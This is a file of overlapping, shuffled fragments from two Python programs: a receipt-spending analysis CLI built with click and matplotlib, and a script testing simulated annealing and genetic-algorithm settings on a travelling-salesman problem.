"and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort",
"touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key in data: print(str(key) + \":\")",
"= list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]')",
"OR OTHER ## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,",
"x: x[1]) count = 0 for s in listofTuples: if(count >= maxcount): continue",
"#Load the file r = rema(data) if(json): r.oformat = \"json\" else: r.oformat =",
"permit persons to whom the Software is ## furnished to do so, subject",
"str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\" + str(d.month) elif(quarter):",
"group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if __name__ == \"__main__\":",
"charge, to any person obtaining a copy ## of this software and associated",
"sys import collections import datetime import click from collections import OrderedDict import matplotlib.pyplot",
"item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key",
"el[1] if name not in pdata: pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval']",
"OR OTHERWISE, ARISING FROM, ## OUT OF OR IN CONNECTION WITH THE SOFTWARE",
"= list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata:",
"for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key in self.categories ):",
"datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\" + str(d.month) elif(quarter): header_key = str(d.year)",
"name not in pdata: pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list()",
"above copyright notice and this permission notice shall be included in all ##",
"Reorganize data for key in data: for el in data[key]: val = el[0]",
"x[1]) count = 0 for s in listofTuples: if(count >= maxcount): continue else:",
"in the Software without restriction, including without limitation the rights ## to use,",
"the file r = rema(data) if(json): r.oformat = \"json\" else: r.oformat = \"str\"",
"self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else:",
"= item[\"ProductGroupDescription\"] if(category and key in self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4))",
"t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict()",
"\"json\" else: r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\") @click.pass_context",
"transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\" +",
"SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ## SOFTWARE. ## ######################################################################",
"touple\"\"\" pdata = dict() #- Reorganize data for key in data: for el",
"IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE",
"plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale()",
"continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data):",
"for s in listofTuples: if(count >= maxcount): continue else: count += 1 data[header_key].append((s[1],s[0]))",
"(number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key in data: print(str(key) +",
"this permission notice shall be included in all ## copies or substantial portions",
"= dict() for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key in",
"for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group()",
"collections import OrderedDict import matplotlib.pyplot as plt import pandas as pd class rema:",
"json.load(f) cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories",
"items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain",
"## furnished to do so, subject to the following conditions: ## ## The",
"for key in data: print(str(key) + \":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1]))",
"LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN ACTION",
"the rights ## to use, copy, modify, merge, publish, distribute, sublicense, and/or sell",
"printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el",
"self.categories is None and category: print(\"Could not find categories.json. Can't run this command\")",
"if(category and key in self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and",
"category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context",
"copy ## of this software and associated documentation files (the \"Software\"), to deal",
"JSON as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r =",
"in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data",
"\"json\"): print(json.dumps(data,indent=4)) else: for key in data: print(str(key) + \":\") for el in",
"pdata = dict() #- Reorganize data for key in data: for el in",
"OrderedDict import matplotlib.pyplot as plt import pandas as pd class rema: def __init__(self,file):",
"@cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\")",
"pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()])",
"f: categories = json.load(f) self.categories = categories self.obj = jsonobj self.oformat = \"str\"",
"## ## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,",
"summary[header_key] = dict() for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key",
"is a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key in data:",
"OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER",
"= \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items",
"printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in summary: transactions = summary[header_key] data[header_key] =",
",reverse = True, key=lambda x: x[1]) count = 0 for s in listofTuples:",
"THE ## SOFTWARE. ## ###################################################################### import os import json import sys import collections",
"PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS",
"key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key == keyName): key = item['ProductDescription']",
"a list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el in data:",
"of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a",
"conditions: ## ## The above copyright notice and this permission notice shall be",
"sorted(transactions.items() ,reverse = True, key=lambda x: x[1]) count = 0 for s in",
"@click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def",
"= dict() if self.categories is None and category: print(\"Could not find categories.json. Can't",
"is a (number,description) touple\"\"\" pdata = dict() #- Reorganize data for key in",
"summary): summary[header_key] = dict() for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and",
"OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS",
"None and category: print(\"Could not find categories.json. Can't run this command\") transactions =",
"WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED",
"for header_key in summary: transactions = summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items()",
"in listofTuples: if(count >= maxcount): continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data)",
"the Software without restriction, including without limitation the rights ## to use, copy,",
"so, subject to the following conditions: ## ## The above copyright notice and",
"t in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) +",
"## ################################################################### ## Created : wulff at 2019-3-25 ## ################################################################### ## The MIT",
"Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context",
"or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\")",
"list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or",
"a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key in data: print(str(key)",
"and key == keyName): key = item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key]",
"for t in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year)",
"OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO THE",
"key in self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key ==",
"= \"json\" else: r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\")",
"substantial portions of the Software. ## ## THE SOFTWARE IS PROVIDED \"AS IS\",",
"## ###################################################################### import os import json import sys import collections import datetime import",
"in data: for el in data[key]: val = el[0] name = el[1] if",
"t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key in self.categories ): key = self.categories[key]"
] |
[
"engine which contains the logic and order of execution \"\"\" class StagedDeploymentEngine(object): def",
"the staged deployment engine which contains the logic and order of execution \"\"\"",
"\"\"\" implements the staged deployment engine which contains the logic and order of",
"deployment engine which contains the logic and order of execution \"\"\" class StagedDeploymentEngine(object):",
"contains the logic and order of execution \"\"\" class StagedDeploymentEngine(object): def __init__(self): raise",
"staged deployment engine which contains the logic and order of execution \"\"\" class",
"implements the staged deployment engine which contains the logic and order of execution",
"which contains the logic and order of execution \"\"\" class StagedDeploymentEngine(object): def __init__(self):",
"the logic and order of execution \"\"\" class StagedDeploymentEngine(object): def __init__(self): raise NotImplementedError"
] |
[] |
[
"poblacion = 100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test",
"testeo): while(poblacion <= 1000): for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \",",
"False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000): for p in",
"#from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar from math import e from",
"tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion =",
"mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\", p,",
"print(\"| 16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion =",
"# elapsed_time = time() - start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print",
"import re from simulated_annealing import optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp import",
"import DominioAGTSP #from algoritmo_genetico import optimizar from math import e from time import",
"= time() - start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (solucion) #Genetico",
"#print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"|",
"\"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion",
"\"\\n\") print(\"| 16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion",
"import optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import",
"= [0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') #",
"0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000):",
"17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2",
"re from simulated_annealing import optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP",
"in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \", p) #print(\"Solucion:",
"math import e from time import time \"\"\" temperatura = 10000 enfriamiento =",
"= 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False dominio =",
"import optimizar from math import e from time import time \"\"\" temperatura =",
"round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99",
"% elapsed_time) print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in",
"\", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000",
"(dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion",
"DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time",
"<= 1000): for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \",",
"e from time import time \"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio",
"in range(0,5): # start_time = time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time()",
"in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3),",
"'Alajuela') for i in range(0,5): # start_time = time() solucion = optimizar(dominio,1250000.0,0.99) #",
"= time() - start_time print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (dominio.fcosto(solucion)) \"\"\"",
"\"|\", round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion = 100",
"optimizar from math import e from time import time \"\"\" temperatura = 10000",
"optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time)",
"1856 #Genetico: 700 0.1 1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for",
"[0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio,",
"1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5,",
"'Alajuela') # (dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps,",
"dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl,",
"= DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa)",
"from simulated_annealing import optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from",
"dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar from math import e from time",
"0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv',",
"= DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False)",
"mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela')",
"temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000):",
"algoritmo_genetico import optimizar from math import e from time import time \"\"\" temperatura",
"time import time \"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv',",
"'Alajuela') while(temperatura < 10000000): for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17",
"poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion + 200",
"10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa",
"1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1 1675.0 1000 #Simualted Annealing dominio =",
"dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time = time() solucion =",
"enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa in",
"[0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa in enfriamiento: solucion,cont",
"#from algoritmo_genetico import optimizar from math import e from time import time \"\"\"",
"1762.4 1856 #Genetico: 700 0.1 1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela')",
"= DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): # start_time = time() solucion =",
"while(temperatura < 10000000): for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\",",
"1000 |\") poblacion = poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856",
"solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont,",
"False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio,",
"import e from time import time \"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99]",
"1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000): for p",
"start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\" dominio =",
"temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite = 0.1 mutacion =",
"from dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar from",
"#Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1 1675.0 1000 #Simualted Annealing dominio",
"200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1 1675.0 1000 #Simualted",
"#Genetico: 700 0.1 1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i",
"DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar from math import e",
"= poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1",
"100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <=",
"\"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1 1675.0 1000 #Simualted Annealing",
"print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time",
"= optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\")",
"temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\"",
"- start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\" dominio",
"from time import time \"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio =",
"time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time #print(\"Elapsed time: %0.10f",
"\", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\", p, \"|\",",
"<filename>prueba.py import re from simulated_annealing import optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp",
"for i in range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time()",
"#print(\"poblacion: \", poblacion, \", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16",
"solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed time: %0.10f seconds.\" %",
"p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion + 200 \"\"\" #Annealing:",
"DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"|",
"poblacion, \", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion,",
"for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa,",
"from math import e from time import time \"\"\" temperatura = 10000 enfriamiento",
"\"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura <",
"0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000): for",
"range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed",
"time \"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura",
"porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000): for p in mutacion: solucion =",
"tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa, \"|\",",
"elapsed_time = time() - start_time print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (dominio.fcosto(solucion))",
"optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print",
"i in range(0,5): # start_time = time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time =",
"round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite",
"= 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for",
"p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3),",
"time() - start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\"",
"DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): # start_time = time() solucion = optimizar(dominio,1250000.0,0.99)",
"#Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time = time()",
"simulated_annealing import optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico",
"temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps",
"'Alajuela') for i in range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time =",
"|\") poblacion = poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico:",
"for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \",",
"(solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time =",
"10000000): for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\",",
"import time \"\"\" temperatura = 10000 enfriamiento = [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela')",
"DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut,",
"0.99 1762.4 1856 #Genetico: 700 0.1 1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv',",
"= False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5, 1000, False)",
"poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1 1675.0",
"= time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time #print(\"Elapsed time:",
"< 10000000): for tasa in enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura,",
"#print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv',",
"cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite = 0.1",
"elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False dominio",
"= 1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1,",
"elapsed_time) print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5):",
"i in range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() -",
"\", poblacion, \", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\",",
"= optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\")",
"optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"|",
"# (dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo):",
"|\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion +",
"\"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion + 200 \"\"\"",
"Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): # start_time = time()",
"enfriamiento: solucion,cont = optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\",",
"in range(0,5): start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time",
"dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): # start_time = time() solucion",
"= optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time #print(\"Elapsed time: %0.10f seconds.\" %",
"= temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9]",
"elapsed_time = time() - start_time #print(\"Elapsed time: %0.10f seconds.\" % elapsed_time) print (solucion)",
"seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i",
